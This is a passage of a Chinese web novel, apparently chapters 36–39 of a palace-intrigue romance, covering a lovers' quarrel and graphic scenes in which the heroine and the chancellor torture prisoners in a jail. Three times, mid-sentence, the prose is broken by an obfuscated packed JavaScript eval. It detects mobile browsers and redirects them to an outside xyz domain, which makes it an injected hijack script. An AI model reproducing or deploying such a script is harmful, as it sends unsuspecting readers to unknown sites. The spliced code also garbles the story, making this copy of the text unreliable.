日光穿过书房绮窗外开得密匝匝的木香花,斑驳在江令薇白皙的侧脸间,私底下的她褪去了示于人前的唯唯诺诺,按她的性子,呈现出来的本该是平静到漠然的神态,可许是那双杏眸的缘故,专注做一件事的时候,总是平白为她增添了几分乖巧又柔顺的气质。 是猫,是兔,是鹿,是一切一切需要关爱保护,惹人觊觎的弱小生灵。 而今,这只瘦弱无助的禽兽坐在窗前,单手执着一只毛笔,在一个黑黢黢的茶碗口粗的瓷瓶里沾了沾,然后将不知道沾了什么液体的毛笔均匀涂抹在一柄泛着寒光的短刃之间,滴溜圆的眼睛眨也不眨,很是专心。 沉香木桌案上罗列着收拾得齐整的古书,大多是经史儒学、帝范帝学之类。而那瓶盛有不知名液体的瓷瓶正巧靠在一本教导皇子成贤明之君的古书边,上贴一行小字——噬骨水。 顾名思义,无论多么坚硬的骨块,一旦沾上,都能轻易砍断,且能予其无边痛苦,足足持续十二个时辰,犹如被烈火焚烧,痛不欲生,求死不得。 瓷瓶很快见了底,江令薇把尚在滴水的短刃搁在一边,用毛笔戳了戳桌案上聚拢了一滩水渍的地方,毛笔一下去,质地坚硬的沉香木猝然凹陷了一块。 见状,她满意地点了点头。李疏给的毒药就是好使。 周洪下月初一问斩,尸首分离之后,人会很快死去,再也感受不到苦痛。他是安心地死了,那她怎么办?在一个死人身上戳刀子,没有任何意义。 所以,江令薇特意问李疏要了腐蚀人骨的药水和哑药,打算借用裴渡舟在皇城司留下的人,悄悄地溜进去,找周洪算账。毕竟,行刑的那天,从皇城司到午门的途中,也是由皇城司的人去押送周洪,她相信,依裴渡舟在皇城司的势力,一定是不会叫人发现周洪的异样。 不过昨晚还没等她开口,他就紧紧抱着她,在她耳边道:他会让周洪下地狱的。 他能这么想,自然是好,无论是谁,只要伤害自己和他的人,都该下地狱。为己是人之常情,为他是下意识的想法。 接着她趁热打铁,告诉他要给少隐赐金的事情,然后就被瞪了一眼,说她还没起床就想着别人,真是好样的。 不过只是提了一嘴,怎么在他嘴里仿佛成了什么不得了的大事。她搞不懂,也不想懂。装作听不懂他的讽刺,大被蒙上脸,一边说自己困了,一边挪着脑袋往他胸膛前钻。 果不其然,下一刻,什么声音都没了,只余含着嗔怪的眼神和箍得她身体疼的拥抱。 实在是有些疼,但比起直接说,她选择了亲吻他健壮的胸肌,牙齿含住浅浅辗磨。 霎时,嗔怪也没了,力道也变得轻柔无比。 除了他跳得剧烈的心跳声和轻抚她脑袋哄睡的举动之外,世界安静了。 …… 时辰倏忽而过,很快到了晚间。 在丞相府处理了一天周家事情的裴渡舟堪堪回了公主府,第一时间却没有先进卧房,而是招来吴管事,问道:“他们说了什么?” 这个“他们”指的是谁,吴管事心知肚明。主子清早便吩咐他,要把殿下和少隐大人之间的谈话记下来。 回想起少隐最后的笑,吴管事内心忐忑,有苦难言,这都叫什么事啊……当着他的面都毫无顾忌地对殿下展露笑颜,可想而知私底下对殿下更是无所不用其极,诶……还是打得不冤。 吴管事不敢扯谎,小心地斟酌措辞道:“少隐大人对……对殿下笑了一下,殿下说很漂亮,要他多笑笑……” “呵,”裴渡舟扯了扯唇角,竟是被气笑了,他侧目看向少隐屋子的方向,眸光似覆着一层冰霜,“烂舌头的蠢东西,我就知道,他是个不安分的。” 话语间萦绕着一股凛冽的杀意,仿佛要凝成实质,真化出一柄刀剑来,把勾引江令薇的人全部处以极刑。 明明是寒冷的仲冬时节,可在这股杀意面前,吴管事连后背都渗出了冷汗,紧张地垂首立在一旁,一句话都不敢多说,生怕被迁怒。 “吩咐下去,没有我的示意,他若是踏出敢屋子一步,再狐媚做派卖弄那张皮,那便不要怪我狠心,只能厚葬了。” 裴渡舟下颌线崩得很紧,声音比淬了毒的毒蛇还要阴狠,手骨泛白,丝毫不让人怀疑,若是再有下一次,他是会先划烂少隐的脸,还是先挖了那双勾引人的眼睛。 “是、是……属下一定会看好少隐大、不,看好少隐。”吴管事心中骇然,鸡皮疙瘩起了满身。 望着那道往卧房而去的颀长身形,吴管事双手颤抖地擦了擦额上汗水。要他说,这少隐大人也是作茧自缚,明知殿下对主子意味着什么,还行勾引之事,虽说殿下身份可以有三夫四侍,但也要讲究实际啊,依主子眼里容不得沙子的性子,是万万不会容许少隐进房伺候殿下的。 …… 裴渡舟进来的时候,江令薇正盘腿靠在窗边的罗汉床上看书,是那本他曾经要她背的罗列了男女容貌的书,似是实在没兴趣,看得昏昏欲睡,脑袋频频往下坠,差点磕在中间的案几上。 “书是这么看的?”裴渡舟曲膝从后拥住江令薇,抽走了她手中即将要滑落的书,丢在一边。 “什么……”她掀开发沉的眼皮,思维还不甚清醒,侧脸就被一只修长大手扣着亲了一下,又亲昵地蹭了蹭,嗓音低哑:“会背了吗?我要好好考教你一番。” 反应过来他在说什么后,她登时从睡梦中抽离,略有些结巴地解释道:“这个、其实,我才刚看了一个时辰,主要是你最近……可能,应该是有些上火,老是生气,对身体不好,我也反思了一下,虽然我没错……” 在他哼笑声响起后,她眼皮一跳,立刻截住不过脑子的话,讪讪补充道:“我是说,我好像答应过你要背这本书,但是我一眼都没看,确实不太好,我想着,背一背,你能开心一些,毕竟你最近真的很幸苦,为了周家的事清早进宫,到现在这个时辰才回,我如今也没有入朝堂,帮不了你,如果你能因为这个开心,我也会很开心。” 裴渡舟唇角微扬,虽然听到她的前半段话时,胸腔中的不快和醋意几乎要攀升至一个顶峰,越来越压抑不住,但听完后,所有不渝的情绪全部化为乌有,疏朗眉骨间流转着丝丝缕缕的笑,与刚才那幅阴沉如水要剐了少隐的模样大相径庭。 他松开环着她的双臂,双指挑起案己边的那本书,翻到她刚才看的那一页,悠悠道:“坐好了。” 江令薇观他面色,放下心来,她的做法看来没错。遂转了身面朝着他盘腿坐着。 “考教的时候,该喊我什么?”他眉梢轻挑。 “老师。”她一本正经地回答。 “老师要考教你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974432|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,坐过来。”他坐在罗汉床边沿,掌心轻拍身侧的位置,声音低沉。 江令薇乖顺地坐了过去,以往他要考教她的时候,都是这幅做派,虽然曾经也疑惑过为何跟书中老师抽查课业所说的不一样,但等她看的书,见的世面多了些,自动把这解释为他的小癖好。 一个人有些癖好,属实是再正常不过了。 到了跟前,还未问他可以了吗,一只修长大手便攀上她的脸,轻轻抚摸她的眉眼,淡淡开口:“今天跟少隐说了什么?” 分明早就得知交谈的内容,他却恶劣地要听她再说一遍,其间心思,昭然若揭。 但江令薇还不知道,以为他只是随口一问,在脑中想了想和少隐说的话,也没发现什么不对的地方,遂老老实实地全盘道出。 “哦?对你笑了。”他道,语气里听不出任何情绪,然而嘴角的弧度却渐渐变了味。 “是。”她承认。 “那你是怎么想的?” 许是当前氛围很安详舒适,之前被打断的睡意再次到来,她又有些迷迷糊糊,脱口而出:“漂亮。” 在说出口的瞬间,她就意识到不好,但已经为时已晚。 不出所料,周遭气压骤降,几乎让人头皮发麻,似是有冰霜正在屋里迅速凝结,而源头恰是身前面无表情睨着她的男人。“又开始胡言乱语,是觉得我每次都会不计较吗?” 他眸中没什么温度,语调依旧平静,若没感受到周围的压抑气氛,只怕还真让人以为并没生气,不过床边那本被他攥得褶皱,快要破裂的书能直接看出他现在心情究竟怎样。 江令薇张了张唇,想说自己说错话了,但正如他一言不合就冷脸,她的脾气也来得快,抿着唇,心中腹诽:她真的说错了吗,少隐的笑就是漂亮,难道她只能觉得他漂亮吗? 不讲理…… “为了一个外人,你这么对我,故意的吗,是想试探我的底线?”他在“外人”二字上格外加重了语气,是提醒也是警告。 有些人注定只能是藏在黑暗中的局外人,永远不会有其余的可能。 江令薇不说话,余光瞥见那本书已经被攥破了,心里到底还是不可避免地生了些惊惧,好似已经看到了自己的下场,虽然不至于真的活剥了她,但他最是恶劣记仇,数不清多少次在情事中故意吊着她,折磨得她进也不是,退也不是,难耐不已。 她深吸一口气,抬眸偷瞧他一眼,得到的是他愈加冷漠地注视,心一颤,示弱的话不自觉地说了出来,“其实我说笑的……天上地下,你最漂亮,无人能及,是最美貌的人……” 本以为这么说能翻篇,结果他的脸色更沉了,琥珀色瞳仁直勾勾地盯着她,像在看负心人。 江令薇心中叫苦,脑子里搜刮尽了,都不明白他在生哪门子气。 男人,都是这样的吗? “是我不对,我有罪,我罪不可赦……”她又开始烦了,自暴自弃地将曾经见过听过的认错的话一股脑道出。 “你在学谁说话?” 唰得一声,已经被攥破的书被大力甩到地上,这下彻底裂开,散了一地。 江令薇瞬间沉默,有一瞬间她很想摔门躲出去,不想再承受他莫名的怒气。 不过那终归只能想想,要是真的敢做,她毫不怀疑,自己应该真要被扒皮了。 37. 第 37 章 然而,当听到裴渡舟的下一句话时,仅仅只是存于心里的想法也再压制不住,强装平静的神态终究被打破,转为丝丝缕缕的恼火。 他说:既然这么喜欢他,要我把他叫进来伺候你吗?提到他是脱口而出的漂亮,到了我就是深思熟虑的德高望重,日日和我在一处,还真是委屈你了。 江令薇临到嘴边的话滚了一圈,忍了又忍,实在忍不住,但也不想一气之下说什么不好的话,默默地吁出一口气,也不看他,利索地下了床,一句话也不说便大步朝门口走去。 “你敢踏出这个门一步。”裴渡舟眸光森然,其中没有一丝温度,周遭气息冷得足以刺穿人心。 “为什么不敢。”她面无表情地转过身,又重复了一遍:“我为什么不敢?” “……这样跟我说话……好,你真是越来越好了……”他几乎是咬着牙说完的,神情已经彻底冷了下去,阴沉得能滴出水来。但是仔细看,身侧的手掌青筋蚺起,高大的身躯隐隐在颤抖。 仿佛在面对一个怎么也不听管教的孩子,日渐憔悴,操碎了心。 然而,江令薇却全然不管,盯着他那双仿佛要吃了她的瑞风眸,道出早已不知忍耐了多久的不满与恼恨,“你真是奇怪,我做的难道不是你所希望的吗?既然觉得我委屈,觉得我对少隐怀有不可告人的心思,那好啊,就像你说的那样,我成全你,这就把他叫进来伺候我。 所以我待会回来的时候,希望你已经把地方给我们腾好了,你是德高望重的老师嘛,合该体谅一下我这年轻气盛、血气方刚的不成器学生。” 一字一句,全是裴渡舟曾经威胁过她的话,熟悉的话语再临,却是不同的意味。 他没有说话,狭长的瑞风眸中情绪明明灭灭,似是不可置信,又似是浓烈的足以化形的戾气,深不见底。 她一眨不眨地望着他,语气冷漠,再不见往日的半分顺从,那双乌黑分明的杏眸之中,除了近乎荒诞的冷之外,什么都没有。 若是天子近侍福来在此,大抵会惊诧,血脉亲情果真是不可违逆、不可分割的存在,无论是谁,只要身上沾染着天子的血,那便永远不可能一直处于一个任人宰割的地步。 那双眼里所呈现的意味,所有皇子身上都曾经或多或少地出现过。 天家无情,始终不是说说而已。 “另外,我又不是流氓,怎能白白睡了少隐,自然要娶他,不过恩人不可为小,老师你天天在这心疼我,那你再心疼多一点好不好,纳他做我的平夫,以后,与你平起平坐,兄弟相称,一同伺候我,也省得你再日日心疼我没人侍奉了,你说学生的想法怎么样,是不是天衣无缝啊,老师。” “……然后呢?”他声音中有着明显的怒气,薄唇抿得很紧,但是一直注视着她的眼睛却不可避免地泛红,漫上一层不甚明显的哀怨和心碎。 不过江令薇不是瞎子,自然看得分明。她强行按耐住条件反射般想要道出口的宽慰,和微微的涩然,佯装没看到,继续道:“你猜不到吗?按你说的,我这么喜欢他,日后哪里还记得你,虽然说这种话很狼心狗肺,但谁叫学生我喜欢极了他,必定是每天与他卿卿我我,如胶似漆,分离一刻都不能够,舍不得。” 随着话音渐落,视线里的面容再维持不住先前的怒气,眼圈发红,颀长的身形一步步朝她走来。 她没有动,明明不一会而前还大步流星地要摔门出去,这一刻却仿佛被定了身,源自他的眼神。 心里想说:不要这样看她,没有谁是像他这样的,她分明什么都没有做,次次附和他,顺着他,可他仍不满足,不是在没事找事就是故意刁难她,她真的受够了,难以忍受。 面上却一动不动地盯着他,唇瓣嗫嚅,想安慰,想否认刚才所说的一切。 到了身前,他眼里的红血丝愈加明显。 他望着她,眸光黯淡,面色苍白,音调却冷硬得可怕,“江令薇,你不可以这么跟我说话,不过一个外人,什么平夫,你当真要这么伤我的心吗?” 破碎的神态,命令的话语。 她呼出一口气,别过眼不看他,丢下一句“我去书房睡”,就想冲出卧房,然而手臂被一股大力扯住,紧接着,身体落入了一个温暖的怀抱中。 她被他紧紧地抱着,耳边响起低哑的声音,本以为又是威胁,但出乎意料的,他道:“是我想岔了,我的薇薇答应了我,自然是不会出尔反尔的,你最是守信,是最乖的孩子。以后再不提他,不提一个外人,好不好?” “……嗯,”她没想到他会就此算了,不过顺坡下驴是她最擅长的事情,心中的气怒也全发泄完了,只是到底还是不安心,闷着声音解释道:“我都是气话,你别放在心上,我永远也不会那样对你的,刚才说的都是假的,不会成真。” “我知道。”他闭了闭眼,眼睫翕动间,能窥见大半显露出来的怨恨,这一刻的他,和高洁的岭上雪除了可望不可及的容颜之外没有半分关联,眉眼之间皆是世俗爱欲中才有的嫉恨,以及对少隐的杀心。 照他过往说一不二的性格,根本不会容她说出刚才那么多与少隐的可能来,即使一早就知晓是她的气话,但也不代表他想听,不代表心中无波澜。 但是她昨晚那番令人悸动的真心话,硬是让他生生忍着,骨节捏得发白发红,竭力克制着总算没有打断她的气话,让她说完了。 但也仅此而已,再多一句他都要忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974433|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住去提剑了结挑拨他们关系的那个狐狸精。 没有谁能够忍受得了爱人当着面夸别人漂亮。 然而再想杀少隐,也不能由他来做,甚至不能死。 她知恩图报…… 他从没有哪一刻像这样痛恨过这个词。 “……天色不早了,你才回来,还是快去沐浴吧。”江令薇想抬头,却被他捂得不留一丝缝隙,只能靠着他的胸膛。 “好。”裴渡舟压低声音,隐约间听起来像是笑意,不过面上却无一丝表情,“明天带上你的刀,我带你去诏狱,陛下今日下旨,提前了时日,明日便问斩周洪。” “父皇是想引蛇出洞?”她有些讶然,但也只是一小会儿,很快便想到了其中关键。 “继续说。” “嗯……”她思考了一会儿,道:“周家的事情牵扯甚广,如若要彻底调查清楚,最少也要有几月的光景,这么长的时间,足以发生很多事情。我猜,父皇是想尽快扳倒周家所有势力,才有此一举。毕竟,提前也好,不变也罢,周洪总是要死的,这样做没有任何损失。” “这些事情上倒是机灵。” 听着耳边又变得熟悉的阴阳怪气,她装作听不懂地嗯了一声,主要是也没精力和他吵嘴了。 烛火下的影子晃动着,浴房里水声渐起,隐约听见几句嗔怪和老实的附和。 殿内的气氛从安宁祥和到剑拔弩张,不过须臾,又变回从前。 …… 有人的情意在吵闹不休也不改分毫,而曾经京师中最受人追捧和忌惮的缙绅望族周家的宅邸里,往日的情意分崩离析的速度只在刹那。 灯火通明的正厅里,周皓坐在上首,眉眼肃沉。 在他左右手两侧,或坐或立来了一大批人,黑压压的遮得明亮的光线都暗沉了几分,此间人皆是周家三房族老,以及族里知事或还懵懂的姊妹兄弟。 身为家主的周太师当日一醒来听闻皇帝对周家的处置,气急攻心,竟是又晕了过去,至今还没醒来。偌大的周家此刻全听凭年方二十二的周皓一人撑着。 看着下首神色各异的族中人,周皓扯了扯唇角,要说周家什么最多,当数人头。即使朝中被押入监牢,等候审问的周家人不在,宽敞的正厅竟还是能坐满。 只是可惜,脑袋都是充数的,中看不中用,没一个是真装有东西的。 “皓儿啊,你说如今我们该怎么办才好,你父亲这又病了,洪儿也下了诏狱,陛下龙颜大怒,依二姑看,不如就此析居分家,也好保全你余下的姊妹兄弟啊,你看可好?”堂下一位菱形脸的中年女人按耐不住,率先开口,此人正是周家二房的当家人,也是周太师的嫡亲妹妹,周皓的姑姑。 38. 第 38 章 有人打头阵,其余的人也纷纷开口,人声瞬间嘈杂,言下之意皆是要分家宅田产,各立门户。 黑红色乌木地面上的影子频频摆动,将灯烛的光晕都衬弱了许多。 穿着华丽衣裳佩着名贵首饰的人影们你一句我一句,七嘴八舌地热切讨论着,地面呈黑红色,恍惚间连在场诸人的脸和心也成了黑红的色彩。 周皓单手支在案上,静静地听着,面色无波澜,甚至嘴角还挂着抹若有若无的笑,看得不少人心神渐慌。 鼓噪的声音逐渐变小。在最后一人嗫嚅几下,也闭了嘴后,周皓才慢悠悠地站起身,意味不明地扫视了众人一圈,微笑着道:“各位族老想分家,作为人子,我能理解。” “皓儿你能这么想,姑姑甚感欣慰,今天正好大家都在,不如明——” “但作为家主,还请各位族老恕我不能应允。”周皓盯着顷刻间变了脸色的周二姑母,笑容不变,“父亲曾有教诲,祖宗亦留下规矩,周家儿女唯死方可析居,若是有只可同甘不可共苦的人……” 说到这,周皓适时地停顿,但无人不知晓他未尽的意思,周家确有这样一个不成文,世代口口相传的规矩,想分家只有尸体先出去的份。 众人面面相觑,脸色都不好看。本以为能趁着人多,逼迫周皓只得同意,谁承想平日里对亲眷最是孝敬有方的人,变起脸来也是数一数二的。 “当然,诸位族老要是真想离家,我也不是不讲理的人,只是依如今周家在京师的情况,只怕各位连城门都出不去。更别提诸位家中大大小小的银钱往来,铺面财产……晚辈听说,城东那一带的铺面都已被朝中强制关店,抓了不少人。” 说着,周皓悠悠地叹了一口气,再开口时,却是讽刺,“各位族老平日里如何行事,如何敛财,干净也好,龌龊也罢,本不该由晚辈置喙,但现下是多事之秋,人人都盯着府外那块高高在上的牌匾,还望族老们能同心协力,留下来。 我向你们保证,很快,周家仍旧会是京师里长存鼎盛的存在,不输以往。” 话落,厅中抽气声不止,谁都看得出来,周皓是在威胁敲打他们,大家都不干净,做了什么家族中的人皆是一清二楚,想独善其身,溜之大吉是不可能的。至于后半句话…… 除了造反,他们想不出来周家不输以往的理由。 但造反就是把脑袋别在裤腰上,一不小心就会人头落地。 然而他们心里明了,自己没有选择的机会,因为怎样选,结局都不会好,唯一有差别的,是前者只能死,后者还有活下来的可能。 见到众人默认的模样,周皓满意扬唇,正欲叫人都散了,再派心腹联系府州被太子收买的将领时,一脸愁容的周夫人快步从厅外赶过来,焦急道:“皓儿!母亲听说你弟弟他明日就要在午门问斩,这可怎么是好啊!” 周皓面色不变,上前扶住周夫人,温声道:“儿子知道,还没来得及跟您说,怕您太过伤心了。” “你……这话的意思,是不管你弟弟了?”周夫人不敢置信,“可再怎么说,他也是你的亲弟弟,难道真没有法子能救他了吗?” 周皓宽慰地拍着周夫人的手,然而说出口的话却是冷漠得厉害,迎着众人各异的视线,他道:“并非儿子狠心,只是那天的情形,相信母亲您也清楚,他口口声声都是对家里的怨恨,便是明日我背负着全族人的性命冒死救下他,难道他就真能改过自新吗?日后定会借机生事,把我们全族人再次拖下水,到那时,说什么都晚了。从小到大,他是什么样的性子,母亲您并非全然不知。” 周家族老闻言也生怕周夫人爱子心切,真要去救那不值当的人,纷纷开始劝周夫人,他们的命也是命,不要为了一个自甘堕落的人舍弃全族人。 周夫人面上泪水不停,想辩驳却一句话话都说出来,只能近乎哀求地看着周皓,“……皓儿,你们是至亲兄弟啊……” 周皓动作温柔地给周夫人擦去面上泪水,轻声开口:“儿子定会为弟弟报仇。”他看向厅中神色迥异的族老,语气决绝,不容置喙:“所有敢跟周家作对的人,都该死。” 众人心中狂跳,面对这样一个狠辣无比的家主,仿佛所有曾升起的小心思都被看得一清二楚。不等他们平复好,一句足以令人头皮发麻的话随之响起。 “诸位放心,宫里除了太子和七公主之外,其余的公主皇子一个也跑不掉,就当是为所有困在缧绁中的亲眷报仇雪恨。尤其是那位新封的郡王,儿子必定会亲自取她项上人头,以祭亡魂。” 烛火下的重重影子一动不动,唯余萦绕在厅中毫无二致的骇然,仿佛凝出了实质,化成阴风,灯火不断摇曳。 …… 天明,皇城司。 江令薇扮成随行的侍从,一路上安静地低着头,跟在裴渡舟身边,从鲜少有人经过的侧门进入了皇城司。 身为天子心腹,路上不断响起恭敬的问安声,裴渡舟神情淡然,带着江令薇径直踏进了阴暗潮湿的诏狱。 指挥使孟兴正候在那,见了两人,连忙拿钥匙亲自打开冰冷的爬满了铁锈的狱门,低声回禀:“离午时还有两个时辰,昨日从刑部押进来的尚书李德也按您的吩咐,与周洪关押在一处。” 锁扣碰撞过后发出的动静与不远处铁链移动的声音撞在一起,莫名显得刺耳又瘆人。 裴渡舟面无异色,嗯了一声,孟兴见状,极有眼色地快步离开。 江令薇收回落在孟兴面上的视线,她从头到尾都在悄悄打量着这位指挥使。忆起从前在李疏那见过的一种毒药,心下很快有了计较。 脑门处骤然被弹了一下,不怎么疼,她抬头,便对上裴渡舟似笑非笑的眼神,“看够了?” “不看了。”她下意识地摇头,得来的是他意味不明的冷哼,“平时没见你这么机灵。” 视线在霉气深重的空中交汇,言下之意全融进相交的眼神中,她知道,他必定发现了自己在想什么。 孟兴身上有毒,李疏制的。 脑袋覆上一只骨节分明的大手,轻轻抚摸,带着爱怜的意味,“去吧,还记得我从前怎么教你的吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974434|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她点头,从袖中掏出锋利的短刃,其间的寒光映出她现在乖顺的神情,还有身后,一张含着笑的面孔,似是欣慰,又似是因她无比顺从而生的满意。 推开半掩着的狱门,里面光线暗沉,周遭弥漫着一股腐烂又夹杂着鲜血的味道,无风无光,走进去,像是进了无底深渊,来到另一个不为人知,充满血腥与杀戮的世界。 下一刻,漆黑的脚下忽然晕开一片暖光,江令薇回头,裴渡舟不知从哪寻来一只灯烛,秉烛静静立在她身后。 每走一步,烛火也近一步,无声地为她挥退周围的黑暗。 烛火摇曳,光晕温暖,不熟悉他的人见了这幅场面,只怕会以为他是什么不求回报,甘愿奉献自我的男人。 但真实情况恰恰与之相反,她事事顺着的时候,他愿做灯烛,照亮无边黑暗,一旦她生了抗拒的心思,只照亮一方角落的烛火顷刻间便会成为燃烧一切的熊熊烈火,灼烧尽她的一切。 随着光晕映出角落被钉在铁架上闭着眼的周洪时,她停住脚步,用短刃毫不客气地拍了拍他血迹斑驳的脸。 周洪意识模糊,身体因先前的刑罚不自觉颤抖着,在手臂上破裂的伤口再度传来不可忽视的疼痛时,双眼猛地睁开,脸上写满了惊魂未定,以为自己尚在梦中。 然而,视野之中一片光亮,他错愕,入目是一双点漆似的杏眸,因着扮做侍从的缘故,额前梳了一片齐眉的刘海,薄薄地耷拉在眉眼上方,显得乖觉又纯真。 如果忽略她把短刃送进周洪小臂上的动作,只看面容,确实会给人这种印象。 短刃一寸寸递进,总算唤醒了周洪呆住的神思,“你!你——” 还未出口的惊叫戛然而止,因为她出手卸掉了周洪的下巴。 紧接着,一颗约半块指甲盖大小的药丸被强势塞进他嘴里,她使了些力,扣住他的下颌,迫使他只能眼睁睁地看着自己咽下嘴里那不知名的药丸。 周洪眼睛瞪得极大,眼珠几乎都要凸出来,心间一阵阵发紧,这里不是向来看管极严的诏狱吗?为什么一个无宠的公主也能混进来?! 江令薇无视了周洪仿佛要杀人的表情,没有一句废话,握住短刃顶部,干脆利落地捅进了周洪腹部,缓缓转动,黑暗中随之响起骨骼血肉扭动撕裂的声响。 火辣辣的痛楚瞬间自五脏六腑蔓延开来,像是身体里钻进了沸腾的火焰,烧得人生不如死。周洪面色登时变得惨白如纸,脖颈间青筋根根突起,一看就是在忍受极大的痛苦。 短刃转动的间隙,有一抹寒光短暂地掠过她身后,周洪看清后,本就扭曲的面容霍然更为目眦欲裂。 是他!丞相裴渡舟! 他们竟然是一伙的……周洪不敢置信,但是几欲痉挛的四肢告诉他,这一切都是真的。 炙手可热的权臣和名不见经传的卑微公主,竟是同盟! 许是摆在面前的事实过于令人震惊,周洪只觉浑身血液都在凝结,然而不过刹那,灼人肺腑的剧痛又毫不留情地袭来,呼吸之间都带着被烈火焚烧的撕裂感。 39. 第 39 章 江令薇执着短刃在周洪体内缓慢地转了一圈,神情极为认真,仿佛是在研究什么需要学习的精细活。 身前是周洪痛到抽搐的脸,她恍然不觉,乌黑分明的眸子里是深深的漠然。转完一圈后,干脆地抽出短刃,其中带出的鲜血因动作过快,喷溅到脸上,染红了白净的面颊。 烛火摇曳,一只宽厚的大掌从后为她擦去面上血渍,动作轻柔,语调亲昵:“乖,转过来。” 江令薇听话地转了身,因为身高差异,她下巴微抬,是一个下意识的仰望姿态。 脑袋上的头发学着侍从的模样,分成两股,扎了一对双螺髻,顶在头上,将面上还未擦净的血渍显出的凌厉感都削弱了几分。 滴溜圆的杏眸一眨不眨,安静地看着身前人。这模样任谁见了都难昧着良心说是刚捅完人的刽子手,倒像是神佛座下位列仙班的童子,粉脸朱唇的玉娃娃。 在这样乖顺地注视下,裴渡舟心头似乎融成了一滩水,涌向四肢百骸,身躯渐渐发烫,周而复始,抚慰人心。 这潺潺流水亦将他清冷的嗓音变得低沉了几分,柔和了几分,与素日里在朝堂上威严沉稳的样子大相径庭。 “头再抬起来一点,怎么弄成这样。” 话语在埋怨,动作却很诚实,更加不要提那如同在春水里浸过一夜的语气。 江令薇早就习惯了他时不时的责怪,也依旧不是很懂他为何有时候声音忽然就变低沉的原因,在肮脏阴暗的牢狱里,也会有欲望吗? 还真是……有些太不分场合了。 她心中这般想着,却不妨碍她乖乖配合他擦脸的举动。 身后的周洪依旧痛得全身打摆,因为噬骨水和哑药的缘故,硬是迫着他活生生地保持清醒,口不能言。视野虽然在剧痛之下变得模糊,但还是能看清一点残影。 若是可以,他很想破口大骂,各种恶毒地话和诅咒绝对不会重样。 生母不过是他姑姑的一个婢女,这样出身卑贱的皇女,也配踩到他头上,老天果真不长眼!不公啊! 身体越痛,心里的咒骂越多。 从至亲周家到后宫朝堂所有人,一个都没放过,当然,尤其是江令薇,在他心里就和地上的污泥没两样,唾骂不休。 下一刻,心中的恶骂忽然止住,周洪视野因剧烈到撕心裂肺的程度骤然清晰,猝不及防下便对上了一双锐利如剑的阴鸷眸子。 然而,不过几息的功夫,那双眸子看向另一人时,倏忽间又变得温和,变脸功夫可谓是极快。 裴渡舟慢条斯理地把在滴血的短刃搁在一旁的铁架上,面对江令薇尚在状况外的神情,双眼眯起,不赞成地瞪她一眼,“对付这种人,捅一两刀他们不会怕你,要慢慢地折磨,不可干脆利落地杀掉,性子这么软,要是没遇到我,你该怎么办呢?” 江令薇回头看了看喉咙中不断发出痛苦嗬嗬声的周洪,又瞅了瞅面色淡然的裴渡舟,一时无言。 噬骨水剧痛无比,她这样都还算软吗? 那应该怎么做? 他的一句话解答了她的疑问。 “过来,这人经常搬弄是非,污言秽语,把他舌头割掉。” 随着他灯烛举过的位置,江令薇看见在右侧墙角还有另一个人的身影,也是她见过几面的熟人——兵部尚书李德。 此时李德正蜷缩在角落,身体抖如筛糠,浑身上下都是用过极刑的样子,血渍满身,嘴巴也不停发颤,但可疑的是,即使是怕成这样,也没有一丝声音从中泻出。 江令薇猜测大抵是刑部问出了有用的真消息,送至皇城司,然后被灌了哑药,在等死。 脑海里缓缓响起刚才孟兴说过的话,当时她没怎么在意,现在一琢磨,看来是早有打算——裴渡舟派人把他们两人关在一起,好方便她出手报仇。 可她跟李德并无仇怨,为什么这么做? 像是知晓她的心中所想,视线中出现一柄覆铁锈的剃刀,边缘钝化,一看就不是一柄快刀。 “当然,作为老师,自然要先切身实地地教你一次。” 仍旧是低沉温柔的语气。 江令薇抿了抿唇,立在原地,看着裴渡舟慢悠悠地用刑具撬开李德的嘴,手指按着剃刀边缘,再用另一个细长的刑具夹住李德的舌头,不紧不慢地一点点割开鲜红的舌肉,面色始终淡然,全程只用刑具钳制着面色煞白涕泗横流的李德,看得出来十分爱洁。 但爱洁和割人舌头本身就不该放在一起对比,江令薇看着看着,忽然从心底深处蔓开一阵难以言说的寒意,使人毛发直竖,不寒而栗。 但她清楚,不是割舌头,而是源自于他本身。 把她比作冰雪的话,他就是与之相对的焰火。 飘零于世的冰雪和灼人肺腑的焰火没有可比性。冰雪再冷,再无情,也不会是熊熊烈火的对手。 眼泪与温柔只是假象,当冰雪固执己见,欲要分道扬镳的时候,如若烈火用尽手段也挽回不得,那对于它来说,横亘在二者之间的解决方法只有一个。 那就是一起死,下地狱。 “所有挡你路,阻碍我们的人,都该从这个世上消失,死路一条。” 骤然对上裴渡舟那双仿佛栖息着无边暗潮的眼睛,江令薇下意识地点头,动作很快,连思维都还没反应过来,身体就先替她做了决定。 禽兽对危险总是敏锐的。 …… 